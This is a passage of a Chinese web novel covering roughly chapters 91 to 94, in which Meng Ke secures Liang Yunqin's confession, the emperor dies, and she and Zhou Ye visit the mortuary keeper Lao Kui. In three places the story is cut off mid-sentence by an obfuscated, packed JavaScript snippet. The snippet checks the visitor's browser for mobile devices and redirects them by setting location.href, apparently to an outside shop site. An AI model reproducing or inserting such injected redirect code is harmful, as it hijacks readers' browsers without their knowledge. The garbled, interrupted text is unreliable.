那丫头出去拿了几张纸进来，先给孟珂看了，又递给梁云钦，“喏”一声：“你先在这份详尽的供诉上画押，再自己手写一份，两相佐证。” 没想到，一坑还比一坑深，梁云钦抬眼看向了孟珂。 孟珂淡淡地道：“若你不愿意，我自不会强求。路在自己脚下，梁老爷好好选。” 走到这一步，不差一纸切结书，一道画押了。现在不照做，才是白白交出了命门，想到这儿，他恭顺地道：“我画，我画完就接着写。” 他刚画了押，抬头就见孟珂走出去了，忙冲过去抓着栅栏，呼求道：“小姐救我！” 孟珂顿住了脚步，转头看他道：“张举已死，你与那烟火案的关系，要说有便有；要说没有，也可以没有。” “至于义庄案嘛，全推到死人身上。你名义上是会长，其实就是个傀儡。那么大的案子，你哪有那本事啊？连孙九爷都不给你面子。总之，你知道的都交代，手里有的都上交，其他的，就不用你操心了。” 她顿了顿，扫了牢狱一眼，又道，“过些日子，你自能从这里走出去。” 听着前面的时候，梁云钦心里还直犯嘀咕，听到这最后一句，忍不住露出笑来：“真的？” 孟珂看着他，笑道：“当然，这也要看你怎么做了。” “小姐放心，我一定尽心尽力，绝不让小姐失望！” 孟珂走出两步，又顿住了，“对了，你那个相好，就在外面等着，稍后就可以进来看你。难得她一片真心，日日去熹园求我，不然，我才懒得管这事。” “谢小姐成全！”梁云钦叩谢道。 这次进来后，他许给狱卒多少银子都不好使，还是她有办法。好一个佛脚啊，他一定要抱紧了！ 孟珂走到回廊尽头，将画押的供状递给周冶：“周大人，怎么样？不比审问有效？” “今日收获颇丰，”周冶点点头，看向手中供状，又抬眸问道，“你答应要放他出去？” “对！”孟珂狡黠一笑道，“不过，从这儿出去，不意味着他就能得到自由啊！” *** 却说梁云钦，写完切结书，送走大佛身边的仙子，终于脱力地倒在了榻上。 “老爷！” 听到一个熟悉的声音，他竟一时没能爬得起来。 “老爷！”这声音近了，还带着哭腔。 梁云钦抬起头，看见狱卒身后的人影，眼眶竟有些湿热。都说人老了会心软，自己难道真的见老了？ 苏姒将手中的食盒放在桌上，忙上前扶他坐了起来：“老爷这是怎么了？可有受伤？我去熹园打听过，说不会为难老爷呀！” “没有，没受伤，”梁云钦摆着手，“就是累着了，没有大碍。” “那就好！”苏姒将他扶下榻，到桌前坐下，吩咐随行的小丫头将带来的被褥拿去铺上，自己打开了食盒，“我带了老爷日常喝的汤药来。老爷一看就虚了不少，如今能多喝一次是一次吧。” 这些日子在牢里，虽然有孟珂吩咐，没受折磨，但他确实觉得整个人身子都不好了。 他接过碗，先喝了一口，在牢里几日，竟觉得汤药都好喝了不少。 他一口气喝完，将药碗递回给苏姒，又接过她手中的蜜饯，塞进口里慢慢吃着，对她笑道：“还是你贴心。” 说完，长出了一口气，登时便觉得身心都舒畅不少。 苏姒看着他，却委屈上了，抬手擦了擦眼角，带着哭腔道：“老爷这些日子都瘦了。” 这一哭反倒把梁云钦哭笑了。 得了孟珂的允诺，他现下又觉得，人生有希望起来。他拍着苏姒的手，喜滋滋地道：“还好那晚果断将东西送了去。” “小姐答应救你了？”苏姒喜道。 梁云钦“嗯”了一声，又想起什么，看了看周围，压低了声音道：“你东西可要藏好了，万不可让人知道，我还有藏私。” 他将钱财分了几份，给熹园送去了一份，让苏姒替他收着一份，当然，自己另外还藏了一份。 见了樊仲荣的下场，他早就知道自己的前路是什么样的，也早就为这一天做了打算。只是，没想到最后来收割的人不是曾怀义，也没想到自己会将其中一份托付给苏姒。 苏姒点头应了，又宽慰他道：“无妨。钱财乃身外之物。哪怕都给人拿了去，只要能买得老爷平安，就值。” 她也压低了声音，“现下，咱们预留的一份，加上我那点体己，下半辈子总归是有饭吃。我本就出身寒微，苦日子过过，好日子也享受过，今后便是粗茶淡饭，也过得。” 有温香软玉在怀，又有这般劝慰，梁云钦心里别提多舒服了。 想到孟珂，他还是心有忌惮，又郑重提醒道：“话虽如此，让人发现了，搜刮去事小，只怕得罪了大佛，登时就是要下地狱的。” “知道了。”苏姒问，“老爷怎么如此谨小慎微，看着……也像是还有心事？” “这靠山可不是那么容易靠上的，”梁云钦笑笑，“证明了诚意，忠心，还得证明有能耐，会办事呢。” 方才就在这桌前，孟珂对他道：“要做我的人，一要忠心，二还要本事。” 听这意思是有吩咐了，梁云钦忙道：“但凭小姐吩咐。” “也算不上我的吩咐，而是为你自己谋出路。”孟珂踱着步道，“自助者天助之，我可以给你指条明路，就看你有没有本事去走了。” 梁云钦：“请小姐指点。” “义庄案说到底是一桩泼天丑事，闹大了，就怕朝廷亲自过问，到时候知道的人太多，你的处境就越不利。要让这件事快些过去，你知道最好的办法是什么吗？” 孟珂站定了看他，笑道：“另一桩，更大的丑事。” 梁云钦点点头，抬眼看她：“什么丑事，还请小姐明示。” 孟珂：“过些日子，我会给你找一个人出来。就看你能不能用得好，救不救得到你的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“他果然一直留着。那最好不过，”孟珂看向一旁的雨歇，“你暗地里随苏姒走一趟。” 雨歇随苏姒去了，随即转而跟上了杨管家。 杨管家得了口信，趁夜一路回了被查封的梁府。进了老爷书房所在的院子，在院里的石头鱼缸前停了下来。 他左右看了看，没什么动静，这才拿起缸脚喂鱼的瓢，将缸中积水和鱼一起舀了出去。舀了半天，试了试，搬不动，又继续舀到见底，这才费尽九牛二虎之力，将鱼缸挪开。 鱼缸底下一个窟窿，他伸手一套，摸出个防水布包着的东西，打开一看，是个匣子。 正这时，他颈后突然一疼，随即便倒下地去。 等他醒来，匣子已经不见了，颈后还一阵酸麻吃痛。杨管家心道，坏了，这事怎么交代？ 不过，反正老爷要的就是这东西消失不见。至于怎么消失的，谁知道呢？这世间又不只这一点无常草，又没写名字。于是，杨管家决定将此事按下，隐瞒不提了。 雨歇回了衙门，将匣子递给孟珂。 孟珂接过来，打开看了，将匣子放下，良久，才转眼看着雨歇，目光骤冷：“告诉苏姒，以后每日给他送饭。每日，汤药都一并送上！” 92. 画卷 卢宽快马加鞭赶回了京，从入城就觉得气氛不太对，好像有什么大事发生。回到府门口，正好撞见父亲出门。 卢翰一见他，顿住脚步，上下打量了他一眼。 “父亲……” 他正想着如何开口，卢翰就打断了他。 “及时……回来了就好。” 说完，提步就走，留卢宽愣在门口，呆呆地看着父亲的背影远去。 卢宽瞧他的样子，分明知道自己去了哪，却也没问没追究。等等，“及时”是什么意思？难道，终于要……他心中大概有数，转身又看向了马车，父亲是担心万一宫变，他孤身在外，恐照应不到？ 卢翰的老仆文叔后一步出来，冲他打了个招呼，打断了他的思绪：“二公子！” “文叔！”卢宽点头应着。 这文叔跟着父亲久了，也练就了一副不动如山的样子，倒是瞧不出什么端倪，转身进府去了。 文叔上了马车，冲卢翰笑道：“二公子回来了，老爷可以宽心了，瞧着小姐那边也是无碍的。” 卢翰往门口方向看了一眼，轻轻地叹道：“这孩子太重情义，不好。” “跟大人您一样。”文叔笑道。 卢翰看了他一眼，无奈地笑道：“所以我才知道不好。” “您早就知道如此，也不让二公子真正卷入朝局，就这么当个富贵闲人，重情义便没什么不好。” “也只是我还护得住的时候。”卢翰坐直了，催道，“走吧！” 果然，皇帝在拖了半个冬天之后，终是过不了这个春天，于这夜驾崩了。幼帝在灵前即位，卢翰不出所料地成为辅政五大臣之一。 朝廷八百里加急送到绥陵的时候，孟珂正在同周冶说话。 这个消息，他俩都不意外，但孟珂的眉头还是不自觉地微微皱了起来。 “小姐不用担心，”周冶自然明白她的忧虑何来，看着她，宽慰道，“朝中虽波谲云诡，但卢大人是多厉害的人，今日的局面早就心中有数，也必定应付得来。” 孟珂抬眼看了他一眼，放下手中茶盏，面上的笑有点勉强，与其说担心，不如说是不忍心。她几不可闻地叹了叹，说道：“也不知，眼下这暂时的平静，到底能维持多久。” 朝堂上的风，永无止息。而权力更迭之时，更是真正的血雨腥风之际。新的权力结构形成，便是新一轮斗争的开始。 “京中的平静不知能多久，但这绥陵是要平静一段日子了。” 周冶想到绥陵这摊子事，不由道，“国丧期间，朝廷六部的事务怎么都要延宕些日子，义庄案一时是不能尘埃落定了。” “虽说没有最后拍板就不算板上钉钉，但此案的处置‘识大体、顾大局’，在这些涉案人的判决上，只要不是太过分，上头应该都不会驳你。料当无妨。” 说到这案子，孟珂看着周冶，顺便也问道，“这义庄案相关人等酌情判罚，该死的死，该流放的流放，都没什么可说。只是，这老馗……” 这义庄本就是她父亲所建，这老馗也是她父亲的人。但她一直不曾过问他是如何判罚的，也实在按捺得住。 周冶看了她一眼，道：“他在义庄当暗子多年，本就身弱老迈，从不曾参与分尸、运送和买卖，且搜集和保留证据在先，有意向衙门示警在后，算是举告有功。这些年里，他也将所有分赃都收了起来，不曾动用一分，如今已尽数充公。” “只是，将功抵过之外，还是不能脱尽‘其知情不报、参与其中’的罪责。我只能再以怜其老弱为由，判罚二十大板。” 孟珂点了点头，跟其他人比起来，已经算轻罚，且只有打板子才有私下操纵的空间。 这也正是她一开始就想让他向上头卖个乖的因由之一。子欲取之，必先予之。难以两全，便得懂取舍，得交换。 “我本想着，等执行的时候再‘法外开恩’。”周冶看着她的脸色道，“如今恰逢先帝驾崩，想必不日便会有大赦，这样倒是更顺理成章了。” “这倒是！”孟珂笑笑，“没想到，竟是另一人的死，倒来救他一命。想必也是他积了阴德之故吧。” 说着，孟珂抬眸看着他，认真道，“对了，我想见见这个老馗。” 周冶点头，早该让他们二人见上一见，只是她一直未提，他不清楚她如何想，也没多言。 他总觉得，老馗言犹未尽，也许她去见见，还能挖出更多呢。 *** 孟珂回头就提醒身边人：“今日起，京中的信件，到了就第一时间帮我筛选一遍。若是朝堂大事，尤其涉及辅政五大臣之事，定要第一时间报给我。” 雨歇不解地道：“小姐为何这般紧张？我们家大人如今可是辅政大臣，是咱们这大历朝一人之下万人之上的人。我看小姐怎么不高兴，倒是更忧心忡忡了？” “你可知，为何所有帝王在托孤的时候，都必定拉入几方势力，不让一家独大？”孟珂笑笑，耐心向她解释道，“因为帝王要的就是这几方相互制衡，互为刀俎，皇家才能保全，等到幼帝成年，顺利收权。可这样的安排都只是帝王的单方面想法，最初的制衡局面要不了多久就会破裂，最后必定形成一家通吃的局面，争斗才能真正结束。” 雨歇看了一旁的红荔和回雪一眼，想从她们的脸上找一找是否听懂的痕迹，无奈她们好像并不困惑。 孟珂道：“朝堂上接下来的演化也就注定了。父亲他走到这个位置，便只有两个可能，要么一直赢到最后，要么被人斗死，扔下高台，几乎没有第三种可能。” 说起擂台比武，雨歇就明白了，歪头道：“那岂知老爷不是赢到最后的那个？” “朝堂之斗，不是比武，从来都不是单打独斗。”孟珂道，“要斗，便需要权力。这权力不是自己占那一个高位就行的。你需要足够多的自己人，能在朝堂上散作星火，占住关键位置，巩固手中权力。这就注定了，你不得不结党营私，或天然就有足够多的姻亲、门生故旧。而这两点，父亲都没有。” 孟珂叹道，“卢氏经过之前的大难，已然凋零，支庶不盛。卢府也人丁单薄，更无甚姻亲助力。父亲既无岳家助力，自己又只这两个儿子，二哥哥的心性还不适合朝堂，竟只得大哥哥一人，帮他撑着些门户。可他……才智也不算特别拔尖。” “父亲不党不群，在朝廷上稳站脚跟已属难得。他若是一直当个不上不下的官倒也罢了。可这些年来，他硬是靠着苦心孤诣，一步步走到现在的位置，已经奇迹。”孟珂顿了顿，“可接下来的路，哪里是孤臣可以走的？” “小姐说的这些，我就不懂了。不过，我也大概明白，这就是打群架的事，双拳再强，也难打千军万马。”雨歇脑子糊着宽慰小姐道，“不过，不是还有小姐帮衬。” 孟珂转眸看她，宠溺又无奈地笑道：“可我毕竟是女子，不能入朝为官，无法在朝堂上为他楔进钉子。否则，我必舍身报之。” 既然不结党，没有门生，那还有姻亲、故旧可以用啊，雨歇想到什么说什么：“也不是入朝为官才能报答啊！若是让小姐你去联姻呢。” “可。”孟珂想也没想，脱口道。 雨歇本是随口一说，震惊于小姐的毫不犹豫，惊道：“都不问问跟哪家？” “不必问。”孟珂道。 若非为她，卢府上下根本不必踏入今日的险地。 卢翰总念一句，“身在朝廷，当时时三思，思危，思退，思变”。然而，他思了危，却仍迎难而上；思了退，却一直逆流争锋。 圣上的身子一直不好。卢翰的位置原本是进可攻退可守，他完全可以暂时避开风暴之眼，待局势稳定，再看情况顺风行船。如此，他既可以保全自己，也可以保全卢家。可他还是激流勇进了，到如今，全然没了退路，陷入要么赢，要么死的境地。 “若真走到那一步，他必定是没有其他选择了。我定无二话。”孟珂垂下眼眸，道，“而且，即便是联姻，他也不会委屈我，必定百般周全。” 雨歇愣了愣，又道：“若是让你嫁给二公子呢？” 孟珂却愣住了，良久不语。 雨歇看她的脸色，知道这话又掉进了无底深潭。 半晌，却听孟珂说了一句，“我…..不敢。” 雨歇听了一怔，她从未想过，有一日竟会在小姐口中听到“不敢”这两个字。她看着柔媚婉转，却有一颗坚冰般剔透又坚硬的心，一向是一腔孤勇，舍身往死的样子，从未有什么不敢之事。 可她竟在二公子之事上说了不敢。 “为何不敢？”雨歇道，“是怕拖累二公子吗？” 孟珂看着她，笑着摇了摇头。 *** 现下不好抢国丧的风头，接下来要做的事，孟珂不想等也只能等等。不过，倒正好让梁云钦在牢里多呆呆，给他攒点做事的动力。 孟珂想着，她也正好把之前没顾得上的事理一理，晨起便往周冶的听风轩去。 周冶没想到，竟是借着国丧之机终于清闲了下来，得空亲手把这几个月的新画裱上。 一幅幅画在房中一一展开，这短短数月的日子也在他眼前又过了一遍。 从京中酒楼上惊鸿一瞥的时候，她就如出尘白鹤，似乎不该出现在那喧嚷的街头。其时，他万万想不到会在另一个地方，与这人朝夕相伴。 绥陵郊外的山上，他在雪中赏梅之时，看到那个朝她跌扑过来的红衣女子，如雪中受困的惊惶小雀。 然而，他转头为了曾怀义之死，夜半去熹园意外再见的时候，她却又如锋芒毕露的高贵凤凰…… 及至湖边刺杀那夜，她站在火中，凛然不可犯的模样，又如那可浴火涅槃之凤凰。 她一次次让他惊异之余，也让他愈来愈好奇，她到底还有多少种模样？ 她这人身上，既有剥之无尽的复杂，也有精简到极致的纯粹。她只做应做，该做之事，没有干扰，没有负担；却又心思细密谨慎，从不真正袒露所有。 这几个月里，他们农家夜宿，雪夜煮酒，一步步走近。他从一开始的疑她，到试探她，再到全然地信任她，决定帮助她……短短数月，却仿佛走过了千山万水。 当初，他来这里的时候，不过想就着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999189|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一亩三分地，除除虫，赶赶鸟雀，全然是悠然见南山的心情。 可现在，这里有了与自己牵连至深的人，这座城也就跟他有了真正的关系，不再是以前那般再想做事，也带着居高临下，再关心也有些事不关己的样子。 他渐渐地既怕她搅动风雨，又怕她不能搅动风云。 正这时，传来了“笃笃”敲门声。 洗墨懒洋洋地窝在椅子里，不耐烦地应道：“谁呀？” “是我。”竟是孟珂的声音。 周冶和洗墨一对眼，一看满屋子摊开的画，急道：“快！快收起来！” 洗墨忙从椅子里跳了起来，手忙脚乱地帮着公子卷画。原本曲腿坐在窗棂上的侍剑忙跳了下来，站在门口，按着门框，防止有人推门而进，看着身后两人，紧张地笑着应声道：“来……来了！” 洗墨将画囫囵抱在怀里，一时不知往哪里放，灵机一动，胡乱往旁边书架上一塞。 侍剑手扶着门，见后面的人终于停当了，这才打开。 开门扫一眼，孟珂就发现里面几人的神色有些奇怪。 她越看，他们的神色就越紧张。 她走到书架旁，顿住了脚步，扫了几人一眼，正要说什么，就听身侧的书架上发出了什么声响，抬眼一看，便见好多个卷轴带着倾覆而下的画缸，正正地冲着她砸来。 “小心！” “当心！” “小姐！” 几人惊呼之时，周冶已经几步上去，揽着她旋开。 两人还未站定，就听画缸砸在地上的声音。里面的卷轴咕噜噜滚得一地都是，不知为何都没系上，一滚就散开了，扑了一地的画。 周冶和洗墨、侍剑面面相觑了一瞬，还是洗墨反应快，忙道：“对不住！小姐！是我做事马虎，刚才胡乱一塞，没放好，差点伤到小姐！” “刚才？”孟珂看向几人，“为何要胡乱一塞？” 周冶看向洗墨，指着他，笑道：“他啊，经常毛里毛躁的……” 他抓耳挠腮之时，孟珂已经垂眸扫向了地面：“公子收的什么画，也不知是谁的大作？” “不是谁的！也不是什么大作！”周冶急道，忙冲那两人挤眼睛。 侍剑和洗墨忙蹲下，胡乱卷收起来。可卷轴滚了一地，到处都是，哪里来得及，才捡了几个，就听孟珂“咦”了一声，走向一旁，捡起一张来。 “等——” 周冶话没说完，就见孟珂从画上抬眼看他，“这不是那日……” 二人乘牛车入城之景。 其时，她昏迷着，隐约知道乘着牛车入城，却并不知道太多细节。可这画，正好分毫毕现地记下来了：牛车之上，稻草丛中，她一身村姑装扮，被周冶揽在的怀里…… 别的也罢了，怎么偏偏是这张！周冶僵硬地笑道：“我……就是闲来无事，随手一画。” 孟珂认真地低头看画，恍然道：“原来我们是这样一路入的城，一路让人看着进的县衙？” “不！不是！”周冶笑道，“入城之前，我就把你盖住了。旁人……旁人只知道我带了个姑娘，并不知道是……你。也没人知道这画的是谁。” 又补充道，“自然，我也不会让人看见。” 孟珂意味深长地看了他一眼，周冶汗都要下来了。 孟珂低头又看着画，点头笑道：“画得……不错。” 看她脸色没什么，他这才松了口气，赧然道：“小姐，谬赞了。” 孟珂将画卷起来，系好了，递回给他。 周冶伸手去接，孟珂突然又缩了回去，拿卷轴指向另外那些画：“这些又是什么？” 一张倒也罢了，要是都让人看见…… 洗墨也不卷了，将地上的画胡乱一扫，都抱在了怀里：“不是什么，就是公子旧日所画，随手塞在一起罢了。” “都是公子所画？”孟珂笑着看着周冶，朝他步步走近，将手中卷轴轻轻拍在了他怀里。 这样动作亲密的画，让人看见，那便是毁姑娘清誉的铁证。凭此一画，便可上门要求他负责了。可她却就这样放过了，甚至也没打算将画拿走。 “看你紧张的。怕我拿着当罪证，要你负责，非娶我不成？”孟珂看着他，笑道，“放心吧！我可不会强人所难。” “不……不是！”周冶忙道，说出口又发现有歧义，“我不是……那个意思！我不介意……” 周冶话没说完，就被孟珂打断了：“不与你玩笑了。我来是想问问公子，今日若没什么事，便带我去见老馗？” “没事，能有什么事。”周冶道。 说着，冲身后眨眨眼，洗墨忙好生收起来。 “那这就走？” “走吧。” 孟珂走出门，突地又停住了，转身扫了洗墨怀里的画一眼：“可不要让外人瞧见才是。不然，自有麻烦来找你家公子！” 洗墨看了公子一眼，点点头。 见她转身往前去，周冶的面色顿时平静了下来，刚才他是故意踢开了那个卷轴。果然不出所料，她只会装傻，并不回应。 93. 荒冢 验证了心中所想，周冶心中微微有些波澜，但也只是一闪即逝——摸到她的脾性，便是收获，他不急。 他笑笑，提步而上，追上她，两人并肩往侧门而去。 老馗是个孤老，无处可去，周冶仍将其置于义庄，着人就地“监看”。到了义庄，他扶着孟珂下马车一看，跟他头一次来时很不一样。 衙门来搜查了几回，自是翻得乱七八糟。义庄案的风声慢慢透出之后，也有家属来过，搞得满地狼藉。又空了这许多日子，破败之外，连些微的人气也没了，只余鬼气森森。 见状，他看向了孟珂，这样的景象，必定不是她所愿。倒是该先让人来收拾收拾，免得让她平添难过。 孟珂见此，不由顿住了脚步，四下扫了一圈，唏嘘道：“这样了，他还在这儿待着……” 周冶道：“我早说要给他另行安排，可他说，早把这儿当成自己最后的归宿了。他是铁了心，生死都钉在这儿了。这样可怕的一个……屠宰场，他也视如归宿。” 说着，他看向孟珂，“也不知，他是有什么心结在此处。” 孟珂看了他一眼，没说什么，提步径直往里面走去。 两人一路走进去，直入正堂，才见里面的供桌有人整理过。上面东岳大帝的神像上磕掉了一块，应该是被砸过，但擦得干干净净。堂上的牌匾，也没有尘网。 周冶领着她转入后堂，一看，那原本日暮时分的码头一样，停满棺木的后堂内，倒已经空了一小半。 这些日子隐隐有流言传出，说义庄有盗卖尸骨的事，倒没具体说是哪一家。而周冶又故意命衙门把每个义庄都查了一遍。是以，百姓一时也搞不清楚，流言所指的到底是哪家。而南山义庄则是以商会赈灾造假的理由抓了。 但消息一经传出，凡有在义庄停灵的人家，大都赶忙前去，或查看，或择日掩埋，或安排扶灵回乡了。眼下剩的这些，要么是还没听到消息的，要么是还没来得及动手的。 这时，隐隐传来一阵轻缓的沙沙声，像风吹竹林似的。 孟珂正奇怪，就见周冶朝她一摆头，往堂后的院子走去。 二人循声穿过棺木阵，走出阴暗的后堂，后院的一片白亮中，陡然见一个虾成一团的单薄影子。这影子突地立起来，竟是个瘦骨嶙峋的人影，她微微一惊，不由顿了一步。 周冶伸手松松地揽住了她，朝那人影一看：“这就是老馗。” 孟珂渐渐看清，见此人须发灰白，长得……就像他手上拿的竹笤帚。 老馗朝二人一揖，杵着笤帚，左右看了看，带着轻如风声的笑道：“大人见谅，小老儿气力不济，一日只能收拾一点。” “老人家，不用如此辛苦。”周冶道，“我这就找些人来，帮着收拾恢复。” “恢复？”老馗愣了一瞬，看向他，“大人的意思，这义庄以后还可继续？” “为什么不？”周冶看向孟珂，慢慢地道，“作孽的是那些人，这义庄设立的初衷本就是好的，有什么道理要停办？” 孟珂回看了他一眼，仍只是静静听着，并未言语。 周冶继续道，“如今流言传出，已有民怨，只怕还要沸腾一阵儿，还会有更多人来此生事。老人家还是躲一阵子，等过些日子，风声过去，再回来的好。这里我自会派人前来看顾。” 老馗点点头，又摇摇头：“大人不必替我担心，我都是黄土埋到眉毛的人了，不怕人生事。只要大人允我生死都留在此处，我就心满意足了。” “既如此，那就这样吧，我会着人前来帮你。”周冶道，“另外，官府也会针对流言，广邀百姓监督。一旦发现哪个义庄行辱尸、甚至买卖等违法之事，绝不放过。上有县衙执行，下有百姓监督，便不怕人心险恶了。” 老馗笑着连连道了几声“好”，抬眼看着周冶：“我还只道恶人虽被惩处，算是有告慰，但到底是不得不将事情掩盖下来，总还是有遗恨，更怕隐患未除，有朝一日死灰复燃。不想，大人早有了这样的周全之法。” 他的眼圈渐渐发了红，“如此，小老儿就彻底放心了。便是此刻就死了，也可坦然去见故人了。” 他的目光转向前堂牌匾的方向，“梁公的基业，可算是保住了。” 孟珂的目光也随着他，看了过去。 这时，只听外面有人马喧嚣。有什么人急步冲进来，带着哭腔喊道：“仲儿！仲儿！” 孟珂和周冶相视一看，竟是个认识的——正是邵夫人身边的许嬷嬷，高升之妻，高仲之母。她自是听到风声，赶来查看儿子尸身了。 周冶对老馗道：“你先去忙她的事。我们自己四处走走。” 老馗朝二人点点头，依言去了。 *** “咱们四处看看？”周冶问。 孟珂点点头，随他信步走去。 到义庄之后，她就一直很沉默，周冶主动提起话头：“这是你第一次来此吧？” 孟珂“嗯”了一声，慢慢地道：“儿时，虽然根本不知道死是什么，可就是对所有跟死有关的东西，都有一种莫名的、巨大的恐惧。” 她抬眼扫着四周的山林，坡地上的坟冢，长长地吐出一口气，“那时，什么义庄、坟茔，我是一眼都不敢看的。” 周冶侧头看着她，这样一个胆小娇弱的小姑娘，却亲眼目睹了最惨烈的景象，所以才会落下病根，才会在曾怀义墓前犯病。 “对不起……”周冶顿住了脚步，看着她，真诚地道。 孟珂看了他一眼，轻轻摇了摇头：“那事不怪你。” 说着，遥遥地看着远处，脸上、眼里都没什么惧色，甚至有一种与常人都不同的宁静。 周冶不由有些疑惑，自那以后，她不该更怕了吗？可她如今这沉默的宁静，又是怎么回事？ 孟珂仿佛猜到了他心中所想，脸上带着淡淡的笑，扫了他一眼，感慨道：“小时候，便是听说谁家有人死了，我至少一年半载都不敢跨入这家的院子，哪怕只站在院门口，都瑟瑟发抖。可是……慢慢地也就不怕了。” 一遍遍做噩梦？那就做吧。瑟瑟发抖？那就抖吧。 周冶一直看着她的脸，那个可是之后，是她被迫近距离、惨烈地直面了死亡？是她长大了，强大了？ 他正想着，就见孟珂顿住了脚步，目光仍落在那些坟冢之上，仿佛是好笑似地道：“你知道吗，有一段时间，我……常常去郊外的荒坡上散步。” 是那些坟茔仿佛有魔力一样，吸引着她前去。 “看着一座座坟茔，我心里一点都不怕，反而有种莫名的、极度的……安宁。” “看着阳光洒在坟上，看着墓地里的青草随风摇曳，我心里竟觉得，死，好像也没什么不好。不，应该说，死也很好。” “什么痛苦都没了，从此，尘归尘土归土，永远安宁了。” 她的脸上在笑，可笑着笑着，眼角却浸出了泪。 她轻轻抬手擦去了，目光好像落在了很遥远的地方，面上仍是好笑地道：“那段日子，我甚至……希望自己突然就意外死了，被马车撞了，被谁推了，甚至被他们找到，灭口了……” 周冶敏锐地抓住了点什么，疑惑道：“为什么都是被人……” 孟珂抿了抿唇，转眸看着他，还是在笑：“因为……我没资格寻死。那么多人护着我，那么多人死在了我前面，我有什么资格去死？” 一滴泪啪嗒落下，她又没事人一样拭去，还是笑着，只是顿了好久。 等将那涌动的泪意压了下去，她才转眸看着周冶，笑道：“我得活着，还得好好地活着，不让他们担心地活着。” 周冶朝她伸出手去，想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999190|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 揽她入怀。她却轻轻一跨步，堪堪让开了。 “没事。” 身后落下这一句。 她没有回头，仿佛不知道他做了什么。 周冶蜷了蜷手指，收回那落空的手臂，慢一步跟在她身后。 半晌，孟珂才又回转身来，看着他，问：“你知道，我父亲当初是怎么想到建这个义庄吗？” 周冶摇摇头，他确实没去细想过。 “他在外任之时，曾遇到一家带着亡夫灵柩归乡的孤儿寡母。那亡夫本就只是个小官，一朝身死，剩下母女三人，这个家从此便没了指望。于是，姻亲故旧都对这家‘累赘’避之不及。母女几人一路吃尽苦头，但走到半路，盘缠还是难以为继，几乎无法前行，眼看就要卖身或卖女葬夫。” “恰让父亲遇见了。他派人去递帖子祭奠，出手赠银，助她们母女三人归乡。” 孟珂看向他，慢慢道：“父亲说，看到那母女几人，他就想到了我们母女。若是他有一日不在了，我们会不会也落入那种境地，无人帮扶，举步维艰。即便有家财傍身，孤儿寡母守不住，母亲是不是也要面对卖身葬夫，徒留未成年的女儿的处境。” “于是，他便有了建个义庄的念头。无论什么人，都可在此落葬，也可在此停灵，待时机方便再落叶归根。扶灵回乡的，也可在此歇脚，或得盘缠资助。” 这一说，周冶便明白了：“他是怕自己不在之后，无人保障义庄的运营，地方官府也无心或无力维持，这才想到成立商会，以民办官督的形式，让义庄能自行运转？” 孟珂点点头：“光靠衙门拨款，或光靠某一人、一家的善款，都非长久之计。可是，他做梦也不会想到，这个善举竟会成为那些人作恶的工具。” 周冶道：“如今，你回来了，你拔除了那些恶人。他的在天之灵，会欣慰的，更会为这样的女儿而骄傲。” 孟珂的眼眶突地热了，目光有些模糊，笑着扭开了脸，没说话。 *** 两人绕着义庄转了一圈，回来正好见老馗和许嬷嬷从里面走出。 几人在门口站住，许嬷嬷冲二人行了个礼，待老馗领着周冶和孟珂往里走去，才转身要去，却听身后传来一句话。 “嬷嬷，您东西掉了。” 她转头一看，见是孟珂身边那个大丫头，手中托着一对金灿灿的镯子，伸手递向她。 许嬷嬷低头笑笑，抬眼看着她道：“姑娘，这不是我的东西。” “您再仔细看看？”雨歇往前走了两步，冲她抬了抬手道。 “我只是个没什么用的老婆子，没什么能替姑娘效劳的，”许嬷嬷笑着一礼，“恕我无福消受了。” 说完，转身便要走。 雨歇却几步走到她身前拦下，也不说话，拉过她的手，便将手镯塞进她手里。 “你干什么？”许嬷嬷本能地一挣，“这还有强塞的？” 她一边说着，一边拿着手镯便要塞回去，可抬起的手却突然顿住了——她看见了手镯上步步生莲的图案。 有一回，高仲见她端着夫人的新手镯，便说，“等你生辰的时候，我也给你打一对，比夫人这一对还好。就用莲花图案，步步生莲，好运连连，又吉祥，又应了母亲的名，可好？” 她笑笑，只当他是瞎说，并未当真。可是，如今一想……他倒在雪地里那夜，正是她的生辰。难道…… 想到这儿，许嬷嬷的手不由自主地抖了起来，将手镯里里外外地看了一遍，一见里面刻着“福寿绵长”几个字，她眼眶登时便红了。 她抬眼看着雨歇，颤声问道：“这……这是哪里来的？” 看着她那双泪眼，雨歇知道她要问什么，冲她慢慢点了点头。 许嬷嬷顿了一瞬，转头看向了义庄里面，眼泪“唰”地便滑落了下来。 94. 埋骨 许嬷嬷紧紧拽着手中金镯，抽动着身子慢慢蹲了下去，久久不息。 义庄里，老馗领着周冶和孟珂一路进去。 “劳贵人久等。”他早注意到了这位小姐，问周冶道，“方才没来得及见礼，不知这位小姐是？” 孟珂抬眸看着他，一字一顿地道：“梁公故人。” 老馗身子陡然一震，看了看她，又看了看周冶，一时不敢相信似的。 